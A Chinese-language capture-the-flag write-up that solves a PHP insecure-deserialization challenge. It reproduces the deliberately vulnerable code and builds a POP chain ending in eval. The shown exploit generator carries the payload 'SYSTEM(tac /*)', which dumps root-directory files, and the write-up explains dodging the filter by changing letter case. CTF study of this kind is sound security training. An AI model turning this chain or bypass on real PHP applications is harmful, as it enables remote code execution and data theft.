[NISACTF 2022]babyserialize wp
题目代码:
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
首先回顾一下 php 全部魔术方法及其触发条件 :
__construct()-- 在创建对象时调用,用于初始化对象的属性和方法。
__destruct() -- 在对象销毁时调用,用于释放资源和清理操作。
__call(args) -- 在调用一个不存在的方法时触发。
__callStatic(args) -- 在调用一个不存在的静态方法时触发。
__get($name) -- 在访问一个不存在的属性时触发。
__set(value) -- 在给一个不存在的属性赋值时触发。给私有属性,受保护属性赋值也能触发。
__isset($name) -- 在判断一个不存在的属性是否存在时触发。
__unset($name) -- 在销毁一个不存在的属性时触发。
__sleep() -- 在序列化一个对象时触发。
__wakeup() -- 在反序列化一个对象时触发。
__toString() -- 在将对象转换为字符串时触发。echo,print,die,strtolower等函数触发,还有弱比较 == 也能触发。
__invoke($args) -- 在将对象作为函数调用时触发。
__set_state($properties) -- 在使用var_export()导出类时触发。
__clone() -- 在将对象复制时触发。
__debugInfo() -- 在使用var_dump()函数打印对象时触发。
获取提示信息
直接传入一个序列化的 NISA 类的对象就可以触发,提示 flag 在根目录下。
根据这些,构造本题的 pop 链:
首先,eval 函数在 NISA 类的 __invoke()
方法中。
NISA 类的 __invoke()
方法在 Ilovetxw 类的 __toString()
方法中可以触发。只需要将 $bb()
赋值为 NISA 类的对象。
Ilovetxw 类的 __toString()
方法在 four 类的 __set
方法中可以触发。strtolower 函数在处理对象时会触发该对象的 __toString()
魔术方法,那么只需要将 $this->a
赋值为 Ilovetxw 类的对象。
four 类的 __set
方法在 Ilovetxw 类的 __call
方法中可以触发。将 $this->huang
赋值为 four 类的对象,那么 $this->huang->fun
将访问 four 类的私有属性 fun ,就会触发 __set
方法。
Ilovetxw 类的 __call
方法在 TianXiWei 类的 __wakeup()
方法中可以触发。只需将 $this->ext
赋值为 Ilovetxw 类的对象,那么 $this->ext->nisa($this->x)
就会访问对象中不存在的方法 nisa
。
最后,TianXiWei 类的 __wakeup()
方法在反序列化时触发。
由此,构造出以下代码:
<?php
class NISA{
public $fun = 'a';
public $txw4ever = 'SYSTEM(tac /*)';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$demo = new TianXiWei;
$demo->ext = new Ilovetxw;
//$demo->x = "sixsixsix";
$demo->ext->huang = new four;
$demo->ext->huang->a = new Ilovetxw;
$demo->ext->huang->a->su = new NISA;
echo serialize($demo);
本题中,four 类的 __set
方法中的判断:if ($this->fun = "sixsixsix")
由于用的是一个等号,为赋值,故该表达式恒为真,所以没必要赋值 $demo->x = "sixsixsix";
。
NISA 类的 $fun
属性的值要改一下,避免触发提示。
本题中存在防火墙 waf.php ,用大小写绕过就好了。